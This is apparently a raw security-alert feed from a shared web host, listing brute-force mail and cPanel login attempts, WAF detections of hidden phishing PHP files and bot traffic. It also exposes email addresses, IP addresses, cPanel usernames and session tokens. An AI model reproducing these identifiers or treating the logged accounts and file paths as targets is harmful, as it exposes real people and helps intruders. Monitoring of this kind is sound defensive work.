country_id: 2287781
description:
2026-06-16 15:18:30 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:16768: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:15:18:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065554&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781623125 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 170.233.31.206
country_id: 3865483
description:
170.233.31.206 - - [16/Jun/2026:15:18:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10314391&pdata=https%253A%252F%252Ftdn.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252Ftdn.tg%25252Ftogo-liste-complete-nouveau-gouvernement%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781623125 HTTP/1.1" 302 0 tdn.tg "https://tdn.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2Ftdn.tg%2Ftogo-liste-complete-nouveau-gouvernement%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.233.31.206


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 157.100.191.170
country_id: 3658394
description:
157.100.191.170 - - [16/Jun/2026:15:20:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13002900&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-le-pradeb-colle-a-la-peau-du-developpement-a-la-base%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781623250 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-le-pradeb-colle-a-la-peau-du-developpement-a-la-base/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.7190.1389 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:157.100.191.170


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.138.74
country_id: 390903
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:161.123.138.74||TA:161.123.138.74||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:21:52 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:13192: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:22:51 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:13193: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:23:52 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:3712: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.136
country_id: 1880251
description:
47.128.96.136 - - [16/Jun/2026:15:24:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673108&pdata=https%253A%252F%252Fzephyr.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781623444 HTTP/2.0" 302 0 zephyr.tg "https://zephyr.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.136


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:25:02 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:3584: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.66
country_id: 732800
description:
Jun 16 15:25:59 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:26:03 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:11136: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>le togo r\xc3\xa9affirme son engagement dans la lutte contre le r\xc3\xa9chauffement de la plan\xc3\xa8te. dans l'optique de moderniser et de consolider sa gouvernance climatique, le minist\xc3\xa8re de l\xe2\x80\x99environnement a franchi une \xc3\xa9tape d\xc3\xa9cisive, les 9 et 10 juin derniers. une rencontre strat\xc3\xa9gique r\xc3\xa9unissant les principaux acteurs du secteur a permis de valider trois \xc3\xa9tudes th\xc3\xa9matiques majeures.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ces nouveaux outils visent \xc3\xa0 structurer une r\xc3\xa9ponse plus inclusive, transparente et efficace face aux d\xc3\xa9fis environnementaux du pays.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour aligner sa politique environnementale sur les standards internationaux, le togo s'appuie d\xc3\xa9sormais sur trois piliers d'analyse fondamentaux. il s\xe2\x80\x99agit d\xe2\x80\x99abord de l\xe2\x80\x99int\xc3\xa9gration du genre dans les rapports biennaux de transparence et les communications nationales. une \xc3\xa9tude d\xc3\xa9di\xc3\xa9e \xc3\xa0 l'inclusion des femmes et des minorit\xc3\xa9s dans le processus a \xc3\xa9t\xc3\xa9 men\xc3\xa9e avec succ\xc3\xa8s. le second volet portait sur une r\xc3\xa9\xc3\xa9valuation des circonstances nationales et des dispositifs \xc3\xa9tatiques pour mieux piloter les projets verts. il \xc3\xa9tait enfin question d\xe2\x80\x99instaurer une d\xc3\xa9mocratie participative avec un plan ax\xc3\xa9 sur l\xe2\x80\x99engagement des parties prenantes, compl\xc3\xa9t\xc3\xa9 par un m\xc3\xa9canisme officiel de gestion des plaintes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"622px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:622px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab l\xe2\x80\x99accord de paris impose d\xc3\xa9sormais des exigences accrues en mati\xc3\xa8re de suivi, de rapportage et de v\xc3\xa9rification. produire des donn\xc3\xa9es transparentes et inclusives est indispensable pour \xc3\xa9clairer les politiques et renforcer l\xe2\x80\x99efficacit\xc3\xa9 des actions climatiques. \xc2\xbb,</em> a tenu \xc3\xa0 rappeler le directeur de cabinet du minist\xc3\xa8re de l\xe2\x80\x99environnement, nabede pyabalo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que ce renforcement technique n'est pas un fait isol\xc3\xa9. il s\xe2\x80\x99inscrit dans la continuit\xc3\xa9 des engagements internationaux du togo. signataire de la convention-cadre des nations unies sur les changements climatiques (ccnucc), du protocole de kyoto et de l\xe2\x80\x99accord de paris, le pays met un point d'honneur \xc3\xa0 honorer ses promesses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la mise \xc3\xa0 jour r\xc3\xa9guli\xc3\xa8re de ses contributions d\xc3\xa9termin\xc3\xa9es au niveau national (cdn) et la publication de ses rapports de transparence font du togo un bon \xc3\xa9l\xc3\xa8ve de la diplomatie climatique en afrique de l'ouest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31156,\"width\":\"616px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/cf280d22-5566-4950-b6b8-986b4a8db8fc-724x1024.jpg\" alt=\"\" class=\"wp-image-31156\" style=\"width:616px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>rappelons que la validation de ces trois \xc3\xa9tudes vient consolider un arsenal juridique d\xc3\xa9j\xc3\xa0 modernis\xc3\xa9. l\xe2\x80\x99an dernier d\xc3\xa9j\xc3\xa0, le togo avait adopt\xc3\xa9 une loi historique, relative \xc3\xa0 la lutte contre les changements climatiques. un texte l\xc3\xa9gislatif servant de boussole nationale et permettant de renforcer les institutions environnementales, optimiser la planification des actions d\xe2\x80\x99adaptation et d\xe2\x80\x99att\xc3\xa9nuation, et faciliter ainsi la mobilisation des financements internationaux indispensables \xc3\xa0 la transition \xc3\xa9cologique du pays.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>mc</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:26:43 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:14977: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 14.216.73.194
country_id: 1814991
description:
2026-06-16 15:26:47 H=([14.216.73.194]) [14.216.73.194]:37648 F=<John@4452.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [16/Jun/2026:15:27:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934234&pdata=https%253A%252F%252F154.70.82.246&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781623626 HTTP/2.0" 302 0 154.70.82.246 "https://154.70.82.246/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:28:13 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:17152: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.175.125.140
country_id: 1643084
description:
[2026-06-16 15:29:23 +0000] info [whostmgrd] 203.175.125.140 - test1 "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:29:23 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:3328: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.203
country_id: 1880251
description:
47.128.96.203 - - [16/Jun/2026:15:29:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182485&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feiffage-togo-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781623766 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eiffage-togo-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.203


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:15:29:55 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:15:29:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:30:33 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:16384: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.119.135
country_id: 1880251
description:
47.128.119.135 - - [16/Jun/2026:15:30:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6775193&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D14156&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781623833 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=14156" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.119.135


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 14.216.73.194
country_id: 1814991
description:
2026-06-16 15:31:59 H=([14.216.73.194]) [14.216.73.194]:36216 F=<John@4452.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.142.69.202
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/253668636 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:31:35 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:12033: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.182.37.91
country_id: 3175395
description:
37.182.37.91 - - [16/Jun/2026:15:31:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657171&pdata=https%253A%252F%252Fwebmail.ekoue.free.netmaster.tg%252F%253Flocale%253Dzh&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781623907 HTTP/2.0" 302 0 webmail.ekoue.free.netmaster.tg "https://webmail.ekoue.free.netmaster.tg/?locale=zh" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.182.37.91


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.146
country_id: 2635167
description:
[2026-06-16 15:32:34 +0000] info [cpaneld] 5.230.133.146 NEW gemwjxuz:5o1TwzzEnod3EneR address=5.230.133.146,app=cpaneld,creator=gemwjxuz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.138
country_id: 6252001
description:
[2026-06-16 15:32:58 +0000] info [cpaneld] 173.211.89.138 NEW hnefmnqz:MKqZQ08vyH4HHl6o address=173.211.89.138,app=cpaneld,creator=hnefmnqz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:32:36 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:12034: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.157
country_id: 6252001
description:
[2026-06-16 15:32:43 +0000] info [cpaneld] 64.44.59.157 NEW nerohostfreenetm:aZugMm0sIiWdPjJr address=64.44.59.157,app=cpaneld,creator=nerohostfreenetm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.94
country_id: 2635167
domain: delxia.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/zykoahbv/public_html/.055357176688765.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.133
country_id: 2635167
domain: nerohost.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nerohostfreenetm/public_html/.645928988251858.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.217
country_id: 2635167
description:
[2026-06-16 15:32:38 +0000] info [cpaneld] 5.230.153.217 NEW ebbmnmtd:wl5vAyOH_AGtrZ46 address=5.230.153.217,app=cpaneld,creator=ebbmnmtd,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:32:58 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:57871: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.177
country_id: 2635167
description:
[2026-06-16 15:32:54 +0000] info [cpaneld] 5.230.133.177 NEW zsfyjiji:Ovsi0pmNI1gUmsqQ address=5.230.133.177,app=cpaneld,creator=zsfyjiji,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.157
country_id: 6252001
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.214526287917199.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 85.87.160.198
country_id: 2510769
description:
85.87.160.198 - - [16/Jun/2026:15:32:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7127966&pdata=https%253A%252F%252Fcpanel.express.free.netmaster.tg%252F%253Flocale%253Dko&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781623975 HTTP/2.0" 302 0 cpanel.express.free.netmaster.tg "https://cpanel.express.free.netmaster.tg/?locale=ko" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:85.87.160.198


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.133
country_id: 2635167
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.961482549239921.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:15:33:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738082&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624033 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:33:56 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:57879: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.213.217
country_id: 2077456
description:
103.1.213.217 - - [16/Jun/2026:15:33:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6472861&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624034 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.213.217


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:35:00 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:57882: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.240.99
country_id: 2363686
description:
2026-06-16 15:35:30 dovecot_plain authenticator failed for H=([10.10.30.98]) [196.170.240.99]:40176: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.89.45.15
country_id: 3658394
description:
190.89.45.15 - - [16/Jun/2026:15:35:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802859&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsyndicat-des-hommes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624157 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/syndicat-des-hommes/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.1101.1560 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.89.45.15


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:36:01 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:57886: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 16 15:36:11 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:37:03 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:57887: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.112
country_id: 3017382
description:
[2026-06-16 15:37:59 +0000] info [cpaneld] 5.231.255.112 NEW jdzxeovw:PS6BMauT8FqGIVQ5 address=5.231.255.112,app=cpaneld,creator=jdzxeovw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.108
country_id: 2635167
description:
[2026-06-16 15:37:56 +0000] info [cpaneld] 5.230.153.108 NEW mipbtgnb:MOXy0KElo6OulOFA address=5.230.153.108,app=cpaneld,creator=mipbtgnb,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:38:05 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:57891: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.175.5.84
country_id: 6252001
domain: soroubat.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/jdzxeovw/public_html/.576797773607180.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 140.99.164.34
country_id: 3469034
description:
140.99.164.34 - - [16/Jun/2026:15:40:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6472861&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624034 HTTP/1.1" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.99.164.34


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.186.159.105
country_id: 3469034
description:
[2026-06-16 15:40:12 +0000] info [cpaneld] 45.186.159.105 - lagorainfotg "GET /login/?login_only=1&user=lagorainfotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorainfotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.0.24.176
country_id: 3686110
description:
[2026-06-16 15:40:14 +0000] info [cpaneld] 206.0.24.176 - lagorainfotg "GET /login/?login_only=1&user=lagorainfotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorainfotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.8.166.64
country_id: 3625428
description:
[2026-06-16 15:40:15 +0000] info [cpaneld] 190.8.166.64 - lagorainf "GET /login/?login_only=1&user=lagorainf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorainf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.41.3.226
country_id: 3625428
description:
[2026-06-16 15:40:19 +0000] info [cpaneld] 38.41.3.226 - lagorain "GET /login/?login_only=1&user=lagorain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorain (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.138.81.195
country_id: 2017370
description:
[2026-06-16 15:40:05 +0000] info [cpaneld] 46.138.81.195 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:40:10 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:22791: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
